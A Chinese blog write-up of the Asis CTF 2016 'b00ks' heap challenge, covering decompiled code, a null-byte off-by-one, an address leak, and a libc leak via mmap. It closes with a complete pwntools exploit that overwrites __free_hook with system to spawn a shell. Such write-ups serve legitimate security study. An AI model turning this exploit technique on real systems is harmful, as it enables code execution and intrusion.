Off-By-One漏洞之Asis CTF 2016

Asis CTF 2016 b00ks (null byte overflow)(heap)

是一个图书管理程序

拉进ida反编译得到源代码,为了可读性,我对一些变量都进行重命名。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  struct _IO_FILE *v3; // rdi
  int v5; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = stdin;
  setvbuf(stdin, 0LL, 1, 0LL);
  sub_A77();
  get_author_name();
  while ( 1 )
  {
    v5 = menu();
    if ( v5 == 6 )
      break;
    switch ( v5 )
    {
      case 1:
        create(v3);
        break;
      case 2:
        delete(v3);
        break;
      case 3:
        edit(v3);
        break;
      case 4:
        show(v3);
        break;
      case 5:
        get_author_name();
        break;
      default:
        v3 = (struct _IO_FILE *)"Wrong option";
        puts("Wrong option");
        break;
    }
  }
  puts("Thanks to use our library software");
  return 0LL;
}

程序所反映出来有5个主要处理操作,如menu内容所显示:

puts("\n1. Create a book");
puts("2. Delete a book");
puts("3. Edit a book");
puts("4. Print book detail");
puts("5. Change current author name");

看一下几个关键的函数

my_read函数

__int64 __fastcall my_read(_BYTE *ptr, int size)
{
  int i; // [rsp+14h] [rbp-Ch]

  if ( size <= 0 )
    return 0LL;
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)read(0, ptr, 1uLL) != 1 )
      return 1LL;
    if ( *ptr == 10 )
      break;
    ++ptr;
    if ( i == size )
      break;
  }
  *ptr = 0;//最后的szie+1处的字节清零
  return 0LL;
}

这个函数作用就是逐字节的往ptr读入,可以读入size+1大小个字节。

create函数

__int64 create()
{
  int size; // [rsp+0h] [rbp-20h] BYREF
  int Id; // [rsp+4h] [rbp-1Ch]
  void *book_control_ptr; // [rsp+8h] [rbp-18h]
  void *book_name_ptr; // [rsp+10h] [rbp-10h]
  void *book_description_ptr; // [rsp+18h] [rbp-8h]

  size = 0;
  printf("\nEnter book name size: ");
  __isoc99_scanf("%d", &size);
  if ( size < 0 )
    goto LABEL_2;
  printf("Enter book name (Max 32 chars): ");
  book_name_ptr = malloc(size);
  if ( !book_name_ptr )
  {
    printf("unable to allocate enough space");
    goto LABEL_17;
  }
  if ( (unsigned int)my_read(book_name_ptr, size - 1) )
  {
    printf("fail to read name");
    goto LABEL_17;
  }
  size = 0;
  printf("\nEnter book description size: ");
  __isoc99_scanf("%d", &size);
  if ( size < 0 )
  {
LABEL_2:
    printf("Malformed size");
  }
  else
  {
    book_description_ptr = malloc(size);
    if ( book_description_ptr )
    {
      printf("Enter book description: ");
      if ( (unsigned int)my_read(book_description_ptr, size - 1) )
      {
        printf("Unable to read description");
      }
      else
      {
        Id = id();
        if ( Id == -1 )
        {
          printf("Library is full");
        }
        else
        {
          book_control_ptr = malloc(0x20uLL);
          if ( book_control_ptr )
          {
            *((_DWORD *)book_control_ptr + 6) = size;
            *((_QWORD *)book_control_addr_ptr + Id) = book_control_ptr;
            *((_QWORD *)book_control_ptr + 2) = book_description_ptr;
            *((_QWORD *)book_control_ptr + 1) = book_name_ptr;
            *(_DWORD *)book_control_ptr = ++unk_202024;
            return 0LL;
          }
          printf("Unable to allocate book struct");
        }
      }
    }
    else
    {
      printf("Fail to allocate memory");
    }
  }
LABEL_17:
  if ( book_name_ptr )
    free(book_name_ptr);
  if ( book_description_ptr )
    free(book_description_ptr);
  if ( book_control_ptr )
    free(book_control_ptr);
  return 1LL;
}

这个程序有申请三个堆操作,先给book的name申请任意大小的chunk0;再给book的description申请任意大小的chunk1;最后申请0x20大小的chunk2,保存book的次序,上面两个返回指针,还有description的尺寸。

image-20220118231202989

这样就好像为book定义了一个维护的结构体

struct book {
    __int64 id;
    char *name;
    char *description
    __int64 size;
}

对程序进行调试,创建一个book,查看堆的具体内容,从上至下分别是book_name、book_description、book_control三个chunk,结合上面所画的图就可以清晰理解。

image-20220119103608515

delete函数

__int64 delete()
{
  int v1; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  i = 0;
  printf("Enter the book id you want to delete: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0 )
  {
    for ( i = 0; i <= 19 && (!*((_QWORD *)book_control_addr_ptr + i) || **((_DWORD **)book_control_addr_ptr + i) != v1); ++i )
      ;
    if ( i != 20 )
    {
      free(*(void **)(*((_QWORD *)book_control_addr_ptr + i) + 8LL));//释放存放book_name的chunk
      free(*(void **)(*((_QWORD *)book_control_addr_ptr + i) + 16LL));//再释放存放description的chunk
      free(*((void **)book_control_addr_ptr + i));//释放book_control的chunk
      *((_QWORD *)book_control_addr_ptr + i) = 0LL;
      return 0LL;
    }
    printf("Can't find selected book!");
  }
  else
  {
    printf("Wrong id");
  }
  return 1LL;
}

delete函数操作主要是free三个chunk

其他函数就是对三个chunk的读写操作,就不啰嗦了。

漏洞利用

在程序一开头,输入author name的时候读入的size是32,这存在一个边界检验问题,是一个null byte off-by-one的漏洞。

image-20220119111750241

image-20220119135747265

image-20220119135807982

image-20220119141402816

image-20220119141443532

从ida查看,可以看到off_202018指向,最终是bss段的一段长为32字节的存储空间。

在调试环境中的地址为0x555555756040~0x55555575605F

0x555555756060则是book_control_addr_ptr的开始存储位置,book_control_addr_ptr就是存储一个个book_control_ptr的数组,而且每一个book_control_ptr所在数组下标与他们的id都一一对应。

read函数不会添加\x00字符,这是我跟网上一些文章意见不同的地方。之所以off_202018[size]后面一个字节会是00是因为my_read函数所自定义的操作。会把\x0a替换为\x00

*ptr = 0;

输入32个字符,my_read 函数读入字符和回车符,\x0a替换为\x00放到了 0x555555756060 的位置。这样当 0x555555756060~0x555555756068 写入 book 指针时就会覆盖掉结束符 \x00

也就是说再次基础上,通过调用show函数

LODWORD(v0) = printf("Author: %s\n", (const char *)off_202018);

函数中的这个printf便可以把后面的指针0x0000555555757710打印出来,达到泄露地址的目的。

如下图,是输入32个字节的author 的name并创建一个book之后的内存分布。

image-20220119141825574

由于主程序还提供修改author name的功能,那完全可以依照上述的操作,把越界的00字符覆盖存好的指针的低字节。实现从0x00005555557577100x0000555555757700

接着申请一个大一点的book_description的chunk,包含覆盖后的指针的地址,也就是让这个指针指向了我们可以控制的内容

以上就是null byte 溢出的off-by-one在这道题的体现。

到目前为止,利用该漏洞可以实现任意地址的读与修改

如果PIE关闭那么可以直接修改一些外部函数的像free的got地址,改为system地址,构造参数实现利用。

image-20220122232102840

但是PIE开着,意味着数据段代码段都是变换地址的。而且没有很好的直接泄露libc基地址的漏洞。

所以,接下来是这道题的又一精髓。申请足超大的空间,使得堆只能用mmap分配的模式(而不是brk扩展)。由于mmap的地址与libc的偏移固定,所以可以泄露mmap地址之后再用偏移算出libc的基地址。

思路分析

  • 先create第一个book1,descripton的尺寸0x140,把book_control_ptr即第一个book的chunk2返回地址泄露出来

  • 再create第二个book2,name和description的大小为0x21000字节,这样会由mmap函数分配

  • book1的description中,伪造fake book 的chunk2,里面的指针是我们构造的:让其name指针和description指针分别指向book2的chunk2的name指针和description指针保留处,这两个地址通过泄露地址推算出来。

  • 通过null byte的溢出覆盖,原本指向book1 chunk2转变为指向fake book的chunk2的返回地址,这样相当于对book1操作就是对伪造的fake book操作

    image-20220122233420951

  • 通过show book1,就可以把book2的name指针泄露出来。这样根据mmap与libc的偏移可以算出libc base address

  • 通过libc base address, 推算出__free_hooksystem在程序中的实际位置

  • 通过book1book2的name指针为bin_sh、 description指针为__free_hook, 在修改second b00k的description内容为system。这样一来,在edit的时候就会把__free_hook的地址给改成system的地址

  • 最后执行delete book2。程序会free book2_name这个chunk,但是free被改成system,book2_name存放的地址是/bin/sh地址。这样就执行了system('/bin/sh')。

exploit代码如下:

from pwn import *
context.log_level="info"

binary=ELF("b00ks")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=process("./b00ks")


def createbook(name_size,name,des_size,des):
	io.readuntil("> ")
	io.sendline("1")
	io.readuntil(": ")
	io.sendline(str(name_size))
	io.readuntil(": ")
	io.sendline(name)
	io.readuntil(": ")
	io.sendline(str(des_size))
	io.readuntil(": ")
	io.sendline(des)

def printbook(id):
	io.readuntil("> ")
	io.sendline("4")
	io.readuntil(": ")
	for i in range(id):
		book_id=int(io.readline()[:-1])
		io.readuntil(": ")
		book_name=io.readline()[:-1]
		io.readuntil(": ")
		book_des=io.readline()[:-1]
		io.readuntil(": ")
		book_author=io.readline()[:-1]
	return book_id,book_name,book_des,book_author

def createname(name):
	io.readuntil("name: ")
	io.sendline(name)

def changename(name):
	io.readuntil("> ")
	io.sendline("5")
	io.readuntil(": ")
	io.sendline(name)

def editbook(book_id,new_des):
	io.readuntil("> ")
	io.sendline("3")
	io.readuntil(": ")
	io.writeline(str(book_id))
	io.readuntil(": ")
	io.sendline(new_des)

def deletebook(book_id):
	io.readuntil("> ")
	io.sendline("2")
	io.readuntil(": ")
	io.sendline(str(book_id))

createname("A"*32)
createbook(0x140,"a",0x140,"a")
createbook(0x21000,"a",0x21000,"b")

book_id_1,book_name,book_des,book_author=printbook(1)
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:"+hex(book1_addr))

payload='a'*0x90+p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x38)+p64(0xffff)
editbook(book_id_1,payload)

changename("A"*32)
book_id_1,book_name,book_des,book_author=printbook(1)

book2_name_addr=u64(book_name.ljust(8,"\x00"))
log.success("book2 name addr:"+hex(book2_name_addr))

libc_base=book2_name_addr-0x5c6010

log.success("libc base:"+hex(libc_base))

free_hook=libc_base + 0x3C67A8
bin_sh =libc_base + 0x18ce57
system=libc_base + 0x453a0
log.success("free_hook:"+hex(free_hook))
log.success("system:"+hex(system))
editbook(1,p64(bin_sh)+p64(free_hook))
editbook(2,p64(system))

deletebook(2)

io.interactive()
posted @ 2022-01-22 23:40  DAMOXILAI  阅读(239)  评论(0编辑  收藏  举报